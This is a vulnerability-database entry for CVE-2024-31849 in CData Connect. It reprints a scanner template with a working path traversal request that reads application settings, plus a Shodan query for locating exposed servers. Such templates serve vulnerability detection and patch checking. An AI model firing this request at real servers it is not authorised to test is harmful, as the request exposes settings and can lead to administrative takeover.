CVE-2024-31849: CData Connect < 23.4.8846 - Path Traversal

2025-08-01 CData Connect PoC Public

Description

A path traversal vulnerability exists in the Java version of CData Connect < 23.4.8846 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.

PoC

id: CVE-2024-31849

info:
  name: CData Connect < 23.4.8846 - Path Traversal
  author: DhiyaneshDK
  severity: critical
  description: |
    A path traversal vulnerability exists in the Java version of CData Connect < 23.4.8846 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
  impact: |
    Unauthenticated attackers can exploit path traversal to gain complete administrative access to CData Connect.
  remediation: |
    Update CData Connect to version 23.4.8846 or later.
  reference:
    - https://www.tenable.com/security/research/tra-2024-09
    - https://www.cdata.com/kb/entries/jetty-cve-0324.rst
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31849
    - https://github.com/Ostorlab/KEV
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31849
    cwe-id: CWE-22
    epss-score: 0.06076
    epss-percentile: 0.9303
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData Connect\""
  tags: cve,cve2024,cdata,lfi,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - 'CData - Connect'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203b947677c37367b49ae916f629d0585ff81a532ad3f6ed90b5879cfd7af511bb022100f77f0069568cf43fd73da7c1784b1a4f47c1e6ccb6e1ecc148a4151fb3f1b9d2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities